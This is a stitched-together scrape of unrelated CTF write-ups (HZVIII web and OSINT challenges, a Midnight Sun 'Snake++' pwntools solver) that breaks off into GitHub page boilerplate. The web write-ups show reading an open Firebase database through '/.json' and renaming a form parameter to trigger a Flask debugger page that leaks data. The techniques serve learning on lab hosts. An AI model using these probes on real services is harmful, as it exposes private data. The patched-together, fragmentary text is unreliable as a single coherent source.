</div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
When we intercept the request of http://20yjtzrx50hpypicbajmro9dy.ctf.p0wnhub.com:8888/ We see that it is redirecting to firebase host related to HZVIII which is: ```hzviii.firebaseio.com``` and when we search on internet we can get some information about misconfiguration in firebaseswhich appears in ".json" so we proceed the request ```hzviii.firebaseio.com/.json``` And Bingo we get the Flag: ```{"flag":"HZVIII{f1r3b453_d474b453_m15c0nf16ur4710n}"}```
When we get into the website :http://10xm9f04zpaze7u3p2at5ju70.ctf.p0wnhub.com:5000/ we can see that there is a simple form to get topics of the event so i tried to submit the form with that request:```POST /notifications HTTP/1.1Host: 10xm9f04zpaze7u3p2at5ju70.ctf.p0wnhub.com:5000User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------16653180638431225724194145577Content-Length: 175Origin: http://10xm9f04zpaze7u3p2at5ju70.ctf.p0wnhub.com:5000Connection: closeReferer: http://10xm9f04zpaze7u3p2at5ju70.ctf.p0wnhub.com:5000/Upgrade-Insecure-Requests: 1 -----------------------------16653180638431225724194145577Content-Disposition: form-data; name="topic" CTF-----------------------------16653180638431225724194145577--```and as a normal hacker i tried to make some parameter pollution so i decided to change `"topic" and i writed "topics"`.Then i got a differend response! I've got the python flask debugger page and while scrolling to see Exceptions I've found the flag ! and Bingoo : `HZVIII{K4fka_1ns3cure_t0p1C}`
# Midnight Sun CTF 2020 Quals - Snake++>###### tags: `coding`>whysw@PLUS## Attachments`nc snakeplusplus-01.play.midnightsunctf.se 55555` ## ChallengeThere are two modes of snake game, for human and for AI.When you select AI mode, the log file which is zipped and base64 encoded is given.These are rules of snake game.```Instructions------------ You are about to play a game of snake.The snake can be controlled with 4 actions with the following keys: '' (nothing, or just enter) Keep going ' ' (space) Fire 'L' Turn left 'R' Turn right In the world, there are 2 types of items you can eat by colliding with them: 'A' Apple Grows snake by 1 'B' Bad apple Shrinks snake by 1 The snake can shoot at one of these apples to make it disappear. To do so, thehead of the snake must be facing the apple before you press Space. If the snake collides with the world boundary, you lose.If the snake reaches length 42, you win. Good luck! --- Press enter to continue ---```And snake AI is programmed by new language.Below is a description of the syntax of this programming language.```Snake++ Programming Language============================ Using the Snake++ programming language, you can analyze the snake's environmentand calculate its next move, just like in the regular game. Registers and memory-------------------- Snake++ operates on 8 registers and 3 memory areas. We distinguish betweentext and numbers. There are 4 registers than can hold text, named: apple, banana, cherry anddate. There are 4 registers that can hold numbers, named: red, green, blue andyellow. All 3 memory areas are 30 by 20 cells in size (just like the map of the world).There is one RW memory area for text (TEXTRAM), and one for numbers (NUMRAM).There is also one readonly memory area for text (TEXTROM). Comments-------- Any line starting with the '#' character is ignored. Loading, storing and assigning------------------------------ The following operators allow loading from and storing into memory: Loading from RAM: <register> ~<8~~~ <x> <y>;Storing into RAM: <register> ~~~8>~ <x> <y>;Loading from ROM: <register> ~<8=== <x> <y>; Note that there is no operator to store into ROM. The memory area isautomatically selected based on the register and the operator. For instance,to load a number from NUMRAM row 7, column 5 into the blue register: blue ~<8~~~ 5 7; Likewise, to store a text from the apple register into TEXTRAM row 0, column12: apple ~~~8>~ 12 0; Finally, since there is only ROM for text data: banana ~<8=== 5 6; Values can also be assigned to registers using the := operator: blue := 5; cherry := "abc";Arithmetic---------- The following arithmetic operations are defined on numbers: + - / *And for text, only + is defined.Formulas can be enclosed in parentheses. e.g.: blue ~<8~~~ (red+6) (green/2); red := blue + green * 2; banana := cherry + "x" + date; Statements---------- A program in Snake++ consists of a sequence of statements, each ending with asemicolon. Each of the load, store and assignment operations described aboveare statements. There are also statements for logging numbers and text (logand logText respectively), returning a value to the game, if-then-elsebranching and sliding to a label. Logging Statements------------------ to log the value of the blue register + 3: log blue+3; to log the banana text register: logText banana; Return Statement---------------- Returning a text value will end the Snake++ program and hand control back tothe Snake game in progress. The returned value can be used to control thesnake, and should be "", " ", "L" or "R". (See game instructions). Only textvalues can be returned. example: return "R"; If-Then-Else Statement---------------------- Works as you'd expect: if <condition> then <sequence of statements> fi;if <condition> then <sequence of statements> else <sequence of statements> fi; Of note is the condition. It is possible to compare numbers to numbers, or textto text. For numbers, the operators are: ==, <>, >, >=, <, <=For text, the operators are: == and <>In each case, <> means "does not equal". Example: if blue < yellow-3 then logText "Looking good"; else logText "This is not good"; blue := yellow - 3; fi;Labels and Slide Statement-------------------------- It is possible to label a statement by placing a label in front of it.Labels are sequences of characters enclosed with curly braces.For instance, the following statement is labeled {example}: {example} blue := 5; During execution, it is possible to slide over from the current statement toanother labeled statement. Example: green := 0; {loop} green := green + 1; if green < 10 then log green; slide {loop}; fi; Caution: it is only possible to slide to a labeled statement in the same or theencompassing codeblock. Program execution----------------- The execution environment for your Snake++ program is kept alive during theentire game. Before the game moves the snake, it will execute your (entire)Snake++ program to determine what to do. You should use the return statementto return one of "", " ", "R" or "L". For each execution of your program, only the TEXTROM and registers will bealtered. TEXTROM will contain the worldmap, as also seen when playing the gameas a human. All registers are wiped. The coordinates of the head of the snakeare placed in the blue (X-coordinate) and yellow (Y-coordinate) registers.``` ## Solution### Algorithm- My team member coded BFS using Snake Language, but it was caught by the time limit. After that, he advised me that I should make a heuristic algorithm. - The algorithm that I thought was ![](https://i.imgur.com/B1GWdSZ.png) 1. snake goes up. 2. then hits the wall. 3. turn right. 4. move forward until it hits the right wall. 5. turn right and move forward until it hits the bottom wall. 6. turn right(therefore, looking to the left.). 7. Check if there is an apple on the vertical line. 1. if there is an apple(no matter it is bad or not), turn right. 2. else, move forward(then repeat step7). 8. while moving upward, check if the snake is facing an apple. 1. if it is facing good apple(A), eat it. 2. if it is facing bad apple(B), shoot it. 9. repeat!- The problem occurs when bad apples are at the bottom. But it's just -1 so I just ignored it. ---### Solver#### python interactThis file interacts with snake game. You should run it in debug mode(because flag doesn't have "Result: ")!```python:interact.py=from pwn import *from base64 import b64decodeimport zipfilefrom os import getcwd p = remote("snakeplusplus-01.play.midnightsunctf.se",55555) p.sendlineafter("Your choice: ","2");for _ in range(2): p.sendlineafter("--- Press enter to continue ---",""); with open("code.txt", "r") as file_code: p.sendafter("Enter your program code, and end with a . on a line by itself\n",file_code.read()) p.sendlineafter("--- Press enter to start ---",""); p.recvuntil("Result: ")data = p.recvline()p.close() with open("res.zip", "w") as res: res.write(b64decode(data)) res_zip = zipfile.ZipFile(getcwd()+"/res.zip")res_zip.extractall(getcwd())res_zip.close() with open("game.log", "r") as game_log: print("game_log:") print(game_log.read()) with open("program.log", "r") as program_log: print("program_log:") print(program_log.read())```#### my own snake```=banana ~<8=== blue yellow; #get snake's statusif yellow == 2 then #2, not 1 if banana == "^" then logText "up"; return "R"; fi;fi;if blue == 27 then #27, not 28 if banana == ">" then logText "right"; return "R"; fi;fi;if yellow == 17 then #17, not 18 if banana == "v" then logText "down"; return "R"; fi;fi;if banana == "<" then blue := blue - 1; #it must be blue-1 because snake is moving! {loop} yellow := yellow - 1; #check above banana ~<8=== blue yellow; if banana == "A" then #found return "R"; #turn right fi; if banana == "B" then #found return "R"; #turn right fi; if yellow == 1 then #not found return ""; #keep moving to left side fi; slide {loop};fi;if banana == "^" then red := yellow - 1; banana ~<8=== blue red; #check in front of the snake logText banana; if banana == "B" then return " "; fi;fi; return "";.``` output : `midnight{Forbidden_fruit_is_tasty}`
In this task we don't need hacking skills. So when i was reading the paragraph in the redirection url: `https://artofproblemsolving.com/wiki/index.php/Gmaas` Something take my attention when he was talking about the mathematician `the mathematician named ARay10` So i searched for for it on google then I've got `Grayson Maas` but it stills something missing I decided to search about that name on google `Grayson Maas` and Bingo I've got the full name ! `Grayson Ford Maas` So this is the flag: `HZVIII{Grayson_Ford_Maas}`
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>ctf-writeups/Hack Zone Tunisia 2020/pwn/pwn1 at master · KEERRO/ctf-writeups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="C16E:7430:50A4A80:52CE817:6412213F" data-pjax-transient="true"/><meta name="html-safe-nonce" content="d7a91d8629952bc542cf56beb5c78aa822512f08f859d27757b00d5de453ee17" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDMTZFOjc0MzA6NTBBNEE4MDo1MkNFODE3OjY0MTIyMTNGIiwidmlzaXRvcl9pZCI6IjYzODUyMjI5MDczNDY0MjgyMjMiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="5bcd2b2659b051a771b3ee69862d44d6f62321975d0a894277d52ffea9fa2627" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:162845937" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/e68933ac284b7f665c8ea555e19d7e6118920c67571ea8ca1312106e9058e23e/KEERRO/ctf-writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-writeups/Hack Zone Tunisia 2020/pwn/pwn1 at master · KEERRO/ctf-writeups" /><meta name="twitter:description" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/e68933ac284b7f665c8ea555e19d7e6118920c67571ea8ca1312106e9058e23e/KEERRO/ctf-writeups" /><meta property="og:image:alt" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-writeups/Hack Zone Tunisia 2020/pwn/pwn1 at master · KEERRO/ctf-writeups" /><meta property="og:url" content="https://github.com/KEERRO/ctf-writeups" /><meta property="og:description" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/KEERRO/ctf-writeups git https://github.com/KEERRO/ctf-writeups.git"> <meta name="octolytics-dimension-user_id" content="46076094" /><meta name="octolytics-dimension-user_login" content="KEERRO" /><meta name="octolytics-dimension-repository_id" content="162845937" /><meta name="octolytics-dimension-repository_nwo" content="KEERRO/ctf-writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="162845937" /><meta name="octolytics-dimension-repository_network_root_nwo" content="KEERRO/ctf-writeups" /> <link rel="canonical" href="https://github.com/KEERRO/ctf-writeups/tree/master/Hack%20Zone%20Tunisia%202020/pwn/pwn1" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 